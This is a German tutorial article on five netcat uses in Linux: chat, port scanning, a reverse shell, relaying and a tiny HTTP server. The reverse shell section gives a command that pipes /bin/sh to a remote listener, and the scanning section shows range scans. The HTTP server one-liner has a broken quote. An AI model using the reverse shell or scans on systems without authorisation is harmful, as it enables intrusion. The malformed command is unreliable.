5 Einfache und Leichte Anwendungen für Netcat in Linux

Netcat ist ein leistungsstarkes Kommandozeilen-Netzwerkdienstprogramm in Linux, das TCP- und UDP-Pakete senden und empfangen kann. Im Gegensatz zu anderen Netzwerktools ist Netcat extrem einfach. Seine Einfachheit ermöglicht es jedoch, fast jede Art von Aktivität über ein Netzwerk durchzuführen.
Dieser Artikel zeigt Ihnen 5 einfache Netzwerkaufgaben, die Sie mit Netcat durchführen können. Darüber hinaus wird dieser Artikel auch hervorheben, was Netcat besonders macht und warum Sie es in Ihr Linux-Toolkit aufnehmen sollten.
Inhaltsverzeichnis
- Wie funktioniert Netcat und warum sollte man es verwenden?
- Peer-to-Peer-Chat-Sitzung
- Einfacher Port-Scanner
- Reverse Shell
- Einfaches Paket-Relay
- Einfacher HTTP-Server
- Häufig gestellte Fragen
Wie funktioniert Netcat und warum sollte man es verwenden?
Netcat ist ein einfaches Dienstprogramm, das Netzwerkpakete senden und empfangen kann. Es wurde erstmals 1995 von einem pseudonymen Programmierer namens Hobbit veröffentlicht. Seitdem ist Netcat ein wichtiger Bestandteil jeder Linux-Distribution.
Im Kern funktioniert Netcat, indem es Netzwerk-Anfragen von einem Linux-Host zu einem anderen sendet. Diese Netzwerk-Anfrage kann jede Art von Daten enthalten, und Sie können sie über jeden Port senden.

Dieser Ansatz bedeutet, dass Netcat jede Art von Netzwerkverbindung erstellen kann. Zum Beispiel kann das Programm direkte TCP-Verbindungen herstellen, die Sie entweder zum Übertragen von Dateien oder zum Erstellen von Reverse-Shell-Sitzungen verwenden können.

1. Peer-to-Peer-Chat-Sitzung
Eine der grundlegendsten Anwendungen von Netcat ist eine einfache Peer-to-Peer-Chat-Sitzung zwischen zwei Linux-Maschinen. Dies ist eine Kommunikationsmethode, die nicht auf einen Drittanbieter-Server angewiesen ist, um Informationen zu senden und zu empfangen.
- Damit dies funktioniert, müssen Sie einen Port zwischen 49152 und 65536 auf Ihrer lokalen Maschine öffnen. Hier kann sich ein Remote-Host verbinden und beliebige Informationen an Ihre Maschine senden.
sudo ufw allow 50000- Sie müssen auch einen anderen Port auf dem Remote-Host öffnen, damit Ihre Maschine Informationen an ihn senden kann:
sudo ufw allow 50001- Führen Sie
netcatauf Ihrer Maschine mit den folgenden Argumenten aus:
nc -lp50000Dies öffnet eine Netcat-Sitzung, die aktiv auf Daten am Port 50000 hört.
- Der Remote-Host kann nun beliebige Textdaten an Ihre lokale Maschine senden. Zum Beispiel wird der folgende Befehl die Standard-Eingabe des Systems an eine Remote-Maschine senden.
cat - | nc 192.168.122.136 50000
- Um auf die Nachricht zu antworten, muss der Remote-Host auch einen hörenden Daemon ausführen:
nc -lp50001- Jetzt können Sie auch eine Nachricht von der lokalen Maschine an den Remote-Host senden:
cat - | nc 192.168.122.177 50001
2. Einfacher Port-Scanner
Ein Port-Scanner ist ein einfaches Dienstprogramm, das überprüft, ob eine Reihe von Ports auf einer Maschine von einem Remote-Host aus zugänglich ist. Dies ist äußerst nützlich, wenn Sie sich nicht sicher sind, ob Ihr System die entsprechenden Ports geöffnet hat.
Um einen einzelnen Port zu überprüfen, können Sie nc -v gefolgt von der IP-Adresse und dem Port, den Sie überprüfen möchten, ausführen:
nc -v 192.168.122.177 80
Sie können auch eine Reihe von Zahlen angeben, bei denen Netcat nacheinander jede Portnummer innerhalb dieses Bereichs überprüft. Zum Beispiel wird der folgende Befehl alle offenen “well-known” Ports scannen:
nc -v 192.168.122.177 1-1024
Einer der Nachteile des Abfragens von Ports ist, dass es unnötigen Netzwerkverkehr erzeugt. Dies kann ein Problem sein, wenn Sie einen großen Bereich von Ports in einem kleinen Heimnetzwerk testen.
Um dies zu beheben, aktivieren Sie den “Zero I/O”-Modus von Netcat, der keine Netzwerkaktivität auf dem Remote-Host erzeugt:
nc -zv 192.168.122.177 1-1024
FYI: Erfahren Sie, wie Sie nmap auch ohne sudo verwenden können, um Informationen über die Maschinen in Ihrem lokalen Netzwerk zu sammeln.
3. Reverse Shell
Reverse Shells sind das A und O des Penetrationstests in Linux. Dies sind Remote-Shell-Instanzen, die es Ihnen ermöglichen, ein System zu steuern, selbst wenn keine eingehenden Ports geöffnet sind. Dies macht Reverse Shells praktisch, wenn Sie auf eine Maschine zugreifen müssen, die keinen SSH-Zugang hat.
- Um eine Reverse Shell zu erstellen, müssen Sie einen Listener-Daemon auf Ihrer lokalen Maschine öffnen:
nc -lp50000- Starten Sie eine Netcat-Verbindung auf Ihrer Remote-Maschine. In diesem Fall müssen Sie auch die Shell-Umgebung der Remote-Maschine übergeben:
nc -e/bin/sh 192.168.122.136 50000Hinweis: Der obige Befehl funktioniert nur auf Nicht-Ubuntu-Distributionen. Um dies in Ubuntu zu tun, müssen Sie das Paket “netcat-traditional” installieren und “nc” durch “nc.traditional” ersetzen.
- Gehen Sie zurück zu Ihrer lokalen Maschine und führen Sie einen Shell-Befehl aus. Zum Beispiel wird das Ausführen von
lsdas aktuelle Verzeichnis des Remote-Benutzers ausgeben.
ls-la
- Um die Reverse-Shell-Sitzung zu beenden, können Sie Ctrl + C auf dem Listener-Daemon Ihrer lokalen Maschine drücken.

Gut zu wissen: Erfahren Sie, wie Sie Ihre Reverse Shell effektiv nutzen können, indem Sie die Grundlagen des Shell-Skripts lernen.
4. Einfaches Paket-Relay
Neben dem direkten Lesen und Schreiben in einen Netzwerkstream können Sie Netcat auch verwenden, um eine eingehende Verbindung an einen beliebigen ausgehenden Port umzuleiten. Dies funktioniert, indem mehrere Netcat-Listener- und Client-Sitzungen mit UNIX-Pipes verkettet werden.
- Erstellen Sie eine Netcat-Sitzung, die auf Port 50000 hört. Dies dient als ausgehender Port für Ihr einfaches Relay:
nc -lv localhost 50000- Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:
nc -lv localhost 50001 | nc localhost 50000Dadurch wird ein neuer Listener-Daemon auf Port 50001 erstellt, der automatisch alle Pakete an diesem Port an Port 50000 umleitet.

- Sie können jetzt Daten an Ihren eingehenden Port senden, und Netcat wird automatisch die Ausgabe an Ihren ausgehenden Port umleiten.
echo"MakeTechEasier"| nc localhost 50001
- Neben lokalen Ports können Sie diese Funktion auch verwenden, um jeglichen Netzwerkverkehr an eine andere Maschine umzuleiten. Zum Beispiel sendet der folgende Code Daten an Port 50000 zum gleichen Port auf einem anderen System:
nc -lv localhost 50000| nc 192.168.122.177 50000
Hinweis: Damit dies funktioniert, müssen Sie mehrere Daemon-Prozesse ausführen, und es verschlüsselt keine Daten, die durchgehen.
5. Einfacher HTTP-Server
Das Einrichten eines HTTP-Servers kann ein komplexer Prozess sein, selbst wenn Sie nur eine einzelne Seite bereitstellen möchten. In dieser Hinsicht kann Netcat auch als einfacher statischer Webserver dienen, den Sie in Linux ohne Installation zusätzlicher Tools einrichten können.
- Erstellen Sie eine grundlegende HTTP-Antwortdatei. Der folgende Code-Schnipsel zeigt eine Webseite mit einer einfachen Nachricht an:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
# Hallo MakeTechEasier!
- Speichern Sie es als “index.http” in Ihrem Home-Verzeichnis.

- Führen Sie den folgenden Befehl aus:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Jetzt haben Sie einen funktionierenden Webserver. Sie können Ihre Webseite besuchen, indem Sie einen Webbrowser öffnen und zu http://localhost:8080 gehen.

- Drücken Sie Ctrl + C im Terminal, um die aktuelle Webserver-Sitzung zu beenden.

Hinweis: Wie Sie sehen können, ist dies nur ein sehr einfacher HTTP-Server und er ist unsicher. Wenn Sie Ihren eigenen Server betreiben, sollten Sie diese Tipps befolgen, um Ihren Server abzusichern.
Gut zu wissen: Erfahren Sie, wie Sie Ihre Dateien effektiv verwalten können, indem Sie sed verwenden, um Textströme zu manipulieren.
Häufig gestellte Fragen
Ich kann mich nicht mit einer Remote-Maschine über Netcat verbinden.
Dieses Problem liegt höchstwahrscheinlich an einem blockierten Firewall-Port auf der Remote-Maschine. Sie müssen sicherstellen, dass der Port, den Sie auf Ihrer Maschine verwenden, für eingehende und ausgehende Verbindungen geöffnet ist. Zum Beispiel müssen Sie sudo ufw allow 49999 ausführen, wenn Sie Port 49999 auf der Remote-Maschine verwenden möchten.
Ist es möglich, sich mit einem beliebigen Host über Netcat zu verbinden?
Nein. Während Netcat in der Lage ist, beliebige Netzwerkströme zu lesen und zu schreiben, kann es sich nicht mit einer Maschine verbinden, die von Ihrem Systemnetzwerk aus nicht auffindbar ist. Dazu gehören private Netzwerke, die kein Port-Forwarding aktiviert haben, sowie luftdicht abgeschottete Systeme, die keinen Netzwerkzugang haben.
Ist es möglich, eine Verbindung in Netcat zu fälschen?
Nein. Dies liegt daran, dass Netcat nur Pakete von einer gültigen Netzwerkschnittstelle senden und empfangen kann. Sie können jedoch ändern, woher dieses bestimmte Paket kommt, wenn Sie mehrere Netzwerkschnittstellen haben.
Zum Beispiel können Sie nc -l -s 10.0.0.2 -p 50000 ausführen, um Netcat anzuweisen, Pakete explizit über die Schnittstelle mit der IP-Adresse “10.0.0.2” zu senden.
Bildnachweis: ThisisEngineering RAEng über Unsplash. Alle Änderungen und Screenshots von Ramces Red.